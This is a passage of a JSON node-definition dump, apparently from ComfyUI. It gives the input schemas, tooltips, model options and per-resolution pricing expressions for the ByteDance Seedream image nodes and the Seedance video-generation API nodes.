(3:2)", "(4K) 6240x2656 (21:9)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate. With 1, exactly one image is produced. With >1, the model generates between 1 and max_images related images (e.g., story scenes, character variations). Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image or multi-reference generation. Up to 10 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": false}]}}}, {"key": "seedream-4-0-250828", "inputs": {"required": {"size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["(1K) 1024x1024 (1:1)", "(1K) 864x1152 (3:4)", "(1K) 1152x864 (4:3)", "(1K) 1312x736 (16:9)", "(1K) 736x1312 (9:16)", "(1K) 832x1248 (2:3)", "(1K) 1248x832 (3:2)", "(1K) 1568x672 (21:9)", "(2K) 2048x2048 (1:1)", "(2K) 1728x2304 (3:4)", "(2K) 2304x1728 (4:3)", "(2K) 2848x1600 (16:9)", "(2K) 1600x2848 (9:16)", "(2K) 1664x2496 (2:3)", "(2K) 2496x1664 (3:2)", "(2K) 3136x1344 (21:9)", "(4K) 4096x4096 (1:1)", "(4K) 3520x4704 (3:4)", "(4K) 4704x3520 (4:3)", "(4K) 5504x3040 (16:9)", "(4K) 3040x5504 (9:16)", "(4K) 3328x4992 (2:3)", "(4K) 4992x3328 (3:2)", "(4K) 6240x2656 (21:9)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate. With 1, exactly one image is produced. With >1, the model generates between 1 and max_images related images (e.g., story scenes, character variations). Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image or multi-reference generation. Up to 10 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": false}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the image.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceSeedreamNodeV2", "display_name": "ByteDance Seedream 4.5 & 5.0", "description": "Unified text-to-image generation and precise single-sentence editing at up to 4K resolution.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $price := $contains(widgets.model, \"5.0 lite\") ? 0.035 :\n $contains(widgets.model, \"4-5\") ? 0.04 : 0.03;\n {\n \"type\":\"usd\",\n \"usd\": $price,\n \"format\": { \"suffix\":\" x images/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceTextToVideoNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-pro-fast-251015", "multiselect": false, "options": ["seedance-1-5-pro-251215", "seedance-1-0-pro-250528", "seedance-1-0-lite-t2v-250428", "seedance-1-0-pro-fast-251015"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "camera_fixed": ["BOOLEAN", {"tooltip": "Specifies whether to fix the camera. The platform appends an instruction to fix the camera to your prompt, but does not guarantee the actual effect.", "advanced": true, "default": false}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}], "generate_audio": ["BOOLEAN", {"tooltip": "This parameter is ignored for any model except seedance-1-5-pro.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "camera_fixed", "watermark", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceTextToVideoNode", "display_name": "ByteDance Text to Video", "description": "Generate video using ByteDance models via api based on prompt", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-5-pro\": {\n \"480p\":[0.12,0.12],\n \"720p\":[0.26,0.26],\n \"1080p\":[0.58,0.59]\n },\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56],\n \"1080p\":[1.18,1.22]\n },\n \"seedance-1-0-pro-fast\": {\n \"480p\":[0.09,0.1],\n \"720p\":[0.21,0.23],\n \"1080p\":[0.47,0.49]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41],\n \"1080p\":[0.85,0.88]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-5-pro\") ? \"seedance-1-5-pro\" :\n $contains($model, \"seedance-1-0-pro-fast\") ? \"seedance-1-0-pro-fast\" :\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"1080\") ? \"1080p\" :\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $audioMultiplier := ($modelKey = \"seedance-1-5-pro\" and widgets.generate_audio) ? 2 : 1;\n $minCost := $min10s * $scale * $audioMultiplier;\n $maxCost := $max10s * $scale * $audioMultiplier;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost, \"format\": { \"approximate\": true }}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost, \"format\": { \"approximate\": true }}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceImageToVideoNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-pro-fast-251015", "multiselect": false, "options": ["seedance-1-5-pro-251215", "seedance-1-0-pro-250528", "seedance-1-0-lite-i2v-250428", "seedance-1-0-pro-fast-251015"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "image": ["IMAGE", {"tooltip": "First frame to be used for the video."}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["adaptive", "16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "camera_fixed": ["BOOLEAN", {"tooltip": "Specifies whether to fix the camera. The platform appends an instruction to fix the camera to your prompt, but does not guarantee the actual effect.", "advanced": true, "default": false}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}], "generate_audio": ["BOOLEAN", {"tooltip": "This parameter is ignored for any model except seedance-1-5-pro.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "image", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "camera_fixed", "watermark", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceImageToVideoNode", "display_name": "ByteDance Image to Video", "description": "Generate video using ByteDance models via api based on image and prompt", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-5-pro\": {\n \"480p\":[0.12,0.12],\n \"720p\":[0.26,0.26],\n \"1080p\":[0.58,0.59]\n },\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56],\n \"1080p\":[1.18,1.22]\n },\n \"seedance-1-0-pro-fast\": {\n \"480p\":[0.09,0.1],\n \"720p\":[0.21,0.23],\n \"1080p\":[0.47,0.49]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41],\n \"1080p\":[0.85,0.88]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-5-pro\") ? \"seedance-1-5-pro\" :\n $contains($model, \"seedance-1-0-pro-fast\") ? \"seedance-1-0-pro-fast\" :\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"1080\") ? \"1080p\" :\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $audioMultiplier := ($modelKey = \"seedance-1-5-pro\" and widgets.generate_audio) ? 2 : 1;\n $minCost := $min10s * $scale * $audioMultiplier;\n $maxCost := $max10s * $scale * $audioMultiplier;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost, \"format\": { \"approximate\": true }}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost, \"format\": { \"approximate\": true }}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceFirstLastFrameNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-lite-i2v-250428", "multiselect": false, "options": ["seedance-1-5-pro-251215", "seedance-1-0-pro-250528", "seedance-1-0-lite-i2v-250428"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "first_frame": ["IMAGE", {"tooltip": "First frame to be used for the video."}], "last_frame": ["IMAGE", {"tooltip": "Last frame to be used for the video."}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["adaptive", "16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "camera_fixed": ["BOOLEAN", {"tooltip": "Specifies whether to fix the camera. The platform appends an instruction to fix the camera to your prompt, but does not guarantee the actual effect.", "advanced": true, "default": false}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}], "generate_audio": ["BOOLEAN", {"tooltip": "This parameter is ignored for any model except seedance-1-5-pro.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "first_frame", "last_frame", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "camera_fixed", "watermark", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceFirstLastFrameNode", "display_name": "ByteDance First-Last-Frame to Video", "description": "Generate video using prompt and first and last frames.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-5-pro\": {\n \"480p\":[0.12,0.12],\n \"720p\":[0.26,0.26],\n \"1080p\":[0.58,0.59]\n },\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56],\n \"1080p\":[1.18,1.22]\n },\n \"seedance-1-0-pro-fast\": {\n \"480p\":[0.09,0.1],\n \"720p\":[0.21,0.23],\n \"1080p\":[0.47,0.49]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41],\n \"1080p\":[0.85,0.88]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-5-pro\") ? \"seedance-1-5-pro\" :\n $contains($model, \"seedance-1-0-pro-fast\") ? \"seedance-1-0-pro-fast\" :\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"1080\") ? \"1080p\" :\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $audioMultiplier := ($modelKey = \"seedance-1-5-pro\" and widgets.generate_audio) ? 2 : 1;\n $minCost := $min10s * $scale * $audioMultiplier;\n $maxCost := $max10s * $scale * $audioMultiplier;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost, \"format\": { \"approximate\": true }}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost, \"format\": { \"approximate\": true }}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceImageReferenceNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-lite-i2v-250428", "multiselect": false, "options": ["seedance-1-0-pro-250528", "seedance-1-0-lite-i2v-250428"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "images": ["IMAGE", {"tooltip": "One to four images."}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["adaptive", "16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "images", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceImageReferenceNode", "display_name": "ByteDance Reference Images to Video", "description": "Generate video using prompt and reference images.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $minCost := $min10s * $scale;\n $maxCost := $max10s * $scale;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDance2TextToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Seedance 2.0 for maximum quality; Seedance 2.0 Fast for speed optimization.", "options": [{"key": "Seedance 2.0", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p", "4k"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "16:9", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}, {"key": "Seedance 2.0 Fast", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "16:9", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add a watermark to the video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDance2TextToVideoNode", "display_name": "ByteDance Seedance 2.0 Text to Video", "description": "Generate video using Seedance 2.0 models based on a text prompt.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate480 := 10044;\n $rate720 := 21600;\n $rate1080 := 48800;\n $rate4k := 195200;\n $m := widgets.model;\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $pricePer1K := $res = \"4k\" ? 0.00572 :\n $res = \"1080p\" ? 0.011011 :\n $contains($m, \"fast\") ? 0.008008 : 0.01001;\n $rate := $res = \"4k\" ? $rate4k :\n $res = \"1080p\" ? $rate1080 :\n $res = \"720p\" ? $rate720 :\n $rate480;\n $cost := $dur * $rate * $pricePer1K / 1000;\n {\"type\": \"usd\", \"usd\": $cost, \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDance2FirstLastFrameNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Seedance 2.0 for maximum quality; Seedance 2.0 Fast for speed optimization.", "options": [{"key": "Seedance 2.0", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p", "4k"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}, {"key": "Seedance 2.0 Fast", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add a watermark to the video.", "advanced": true, "default": false}]}, "optional": {"first_frame": ["IMAGE", {"tooltip": "First frame image for the video."}], "last_frame": ["IMAGE", {"tooltip": "Last frame image for the video."}], "first_frame_asset_id": ["STRING", {"tooltip": "Seedance asset_id to use as the first frame. Mutually exclusive with the first_frame image input.", "default": "", "multiline": false}], "last_frame_asset_id": ["STRING", {"tooltip": "Seedance asset_id to use as the last frame. Mutually exclusive with the last_frame image input.", "default": "", "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "optional": ["first_frame", "last_frame", "first_frame_asset_id", "last_frame_asset_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDance2FirstLastFrameNode", "display_name": "ByteDance Seedance 2.0 First-Last-Frame to Video", "description": "Generate video using Seedance 2.0 from a first frame image and optional last frame image.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate480 := 10044;\n $rate720 := 21600;\n $rate1080 := 48800;\n $rate4k := 195200;\n $m := widgets.model;\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $pricePer1K := $res = \"4k\" ? 0.00572 :\n $res = \"1080p\" ? 0.011011 :\n $contains($m, \"fast\") ? 0.008008 : 0.01001;\n $rate := $res = \"4k\" ? $rate4k :\n $res = \"1080p\" ? $rate1080 :\n $res = \"720p\" ? $rate720 :\n $rate480;\n $cost := $dur * $rate * $pricePer1K / 1000;\n {\"type\": \"usd\", \"usd\": $cost, \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDance2ReferenceNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Seedance 2.0 for maximum quality; Seedance 2.0 Fast for speed optimization.", "options": [{"key": "Seedance 2.0", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p", "4k"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3"], "min": 0}}], "reference_audios": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": 